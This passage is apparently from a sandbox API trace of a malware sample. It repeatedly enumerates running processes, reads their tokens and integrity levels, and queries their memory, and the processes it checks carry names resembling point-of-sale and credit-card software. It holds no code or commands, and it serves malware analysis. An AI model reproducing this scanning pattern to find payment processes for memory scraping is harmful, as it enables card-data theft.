[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.399] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.399] NtClose (Handle=0x2e8) returned 0x0 [0075.399] NtQueryVirtualMemory (in: ProcessHandle=0x280, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.399] NtQueryVirtualMemory (in: ProcessHandle=0x280, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.409] QueryFullProcessImageNameW (in: hProcess=0x284, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Reference Assemblies\\winscp.exe", lpdwSize=0x174fa50) returned 1 [0075.410] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.410] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.410] IsWow64Process (in: hProcess=0x284, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.410] NtQueryInformationProcess (in: ProcessHandle=0x284, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.410] GetProcessTimes (in: hProcess=0x284, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.410] OpenProcessToken (in: ProcessHandle=0x284, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.410] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.410] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.410] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.410] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.410] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.410] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.410] NtClose (Handle=0x2e8) returned 0x0 [0075.410] NtQueryVirtualMemory (in: ProcessHandle=0x284, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.410] NtQueryVirtualMemory (in: ProcessHandle=0x284, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.421] QueryFullProcessImageNameW (in: hProcess=0x288, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Portable Devices\\yahoomessenger.exe", lpdwSize=0x174fa50) returned 1 [0075.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.421] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.421] IsWow64Process (in: hProcess=0x288, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.421] NtQueryInformationProcess (in: ProcessHandle=0x288, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.421] GetProcessTimes (in: hProcess=0x288, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.422] OpenProcessToken (in: ProcessHandle=0x288, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.422] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.422] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.422] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.422] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.422] NtClose (Handle=0x2e8) returned 0x0 [0075.422] NtQueryVirtualMemory (in: ProcessHandle=0x288, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.422] NtQueryVirtualMemory (in: ProcessHandle=0x288, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.433] QueryFullProcessImageNameW (in: hProcess=0x28c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows NT\\active-charge.exe", lpdwSize=0x174fa50) returned 1 [0075.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.433] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.433] IsWow64Process (in: hProcess=0x28c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.433] NtQueryInformationProcess (in: ProcessHandle=0x28c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.433] GetProcessTimes (in: hProcess=0x28c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.433] OpenProcessToken (in: ProcessHandle=0x28c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.433] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.433] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.433] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.433] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.433] NtClose (Handle=0x2e8) returned 0x0 [0075.433] NtQueryVirtualMemory (in: ProcessHandle=0x28c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.434] NtQueryVirtualMemory (in: ProcessHandle=0x28c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.444] QueryFullProcessImageNameW (in: hProcess=0x290, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Mail\\accupos.exe", lpdwSize=0x174fa50) returned 1 [0075.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.444] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.444] IsWow64Process (in: hProcess=0x290, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.445] NtQueryInformationProcess (in: ProcessHandle=0x290, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.445] GetProcessTimes (in: hProcess=0x290, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.445] OpenProcessToken (in: ProcessHandle=0x290, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.445] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.445] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.445] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.445] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.445] NtClose (Handle=0x2e8) returned 0x0 [0075.445] NtQueryVirtualMemory (in: ProcessHandle=0x290, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.445] NtQueryVirtualMemory (in: ProcessHandle=0x290, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.456] QueryFullProcessImageNameW (in: hProcess=0x294, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Mail\\afr38.exe", lpdwSize=0x174fa50) returned 1 [0075.456] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.456] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.456] IsWow64Process (in: hProcess=0x294, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.456] NtQueryInformationProcess (in: ProcessHandle=0x294, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.456] GetProcessTimes (in: hProcess=0x294, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.456] OpenProcessToken (in: ProcessHandle=0x294, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.456] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.457] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.457] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.457] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.457] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.457] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.457] NtClose (Handle=0x2e8) returned 0x0 [0075.457] NtQueryVirtualMemory (in: ProcessHandle=0x294, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.457] NtQueryVirtualMemory (in: ProcessHandle=0x294, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.468] QueryFullProcessImageNameW (in: hProcess=0x298, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\aldelo.exe", lpdwSize=0x174fa50) returned 1 [0075.468] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.468] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.468] IsWow64Process (in: hProcess=0x298, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.468] NtQueryInformationProcess (in: ProcessHandle=0x298, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.468] GetProcessTimes (in: hProcess=0x298, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.468] OpenProcessToken (in: ProcessHandle=0x298, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.468] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.468] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.468] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.468] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.468] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.468] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.468] NtClose (Handle=0x2e8) returned 0x0 [0075.468] NtQueryVirtualMemory (in: ProcessHandle=0x298, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.468] NtQueryVirtualMemory (in: ProcessHandle=0x298, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.479] QueryFullProcessImageNameW (in: hProcess=0x29c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Uninstall Information\\ccv_server.exe", lpdwSize=0x174fa50) returned 1 [0075.479] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.479] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.479] IsWow64Process (in: hProcess=0x29c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.479] NtQueryInformationProcess (in: ProcessHandle=0x29c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.479] GetProcessTimes (in: hProcess=0x29c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.479] OpenProcessToken (in: ProcessHandle=0x29c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.479] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.480] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.480] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.480] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.480] NtClose (Handle=0x2e8) returned 0x0 [0075.480] NtQueryVirtualMemory (in: ProcessHandle=0x29c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.480] NtQueryVirtualMemory (in: ProcessHandle=0x29c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.491] QueryFullProcessImageNameW (in: hProcess=0x2a0, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\MSBuild\\centralcreditcard.exe", lpdwSize=0x174fa50) returned 1 [0075.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.491] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.491] IsWow64Process (in: hProcess=0x2a0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.491] NtQueryInformationProcess (in: ProcessHandle=0x2a0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.491] GetProcessTimes (in: hProcess=0x2a0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.491] OpenProcessToken (in: ProcessHandle=0x2a0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.491] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.492] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.492] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.492] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.492] NtClose (Handle=0x2e8) returned 0x0 [0075.492] NtQueryVirtualMemory (in: ProcessHandle=0x2a0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.492] NtQueryVirtualMemory (in: ProcessHandle=0x2a0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.503] QueryFullProcessImageNameW (in: hProcess=0x2a4, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Google\\creditservice.exe", lpdwSize=0x174fa50) returned 1 [0075.503] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.503] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.503] IsWow64Process (in: hProcess=0x2a4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.503] NtQueryInformationProcess (in: ProcessHandle=0x2a4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.503] GetProcessTimes (in: hProcess=0x2a4, 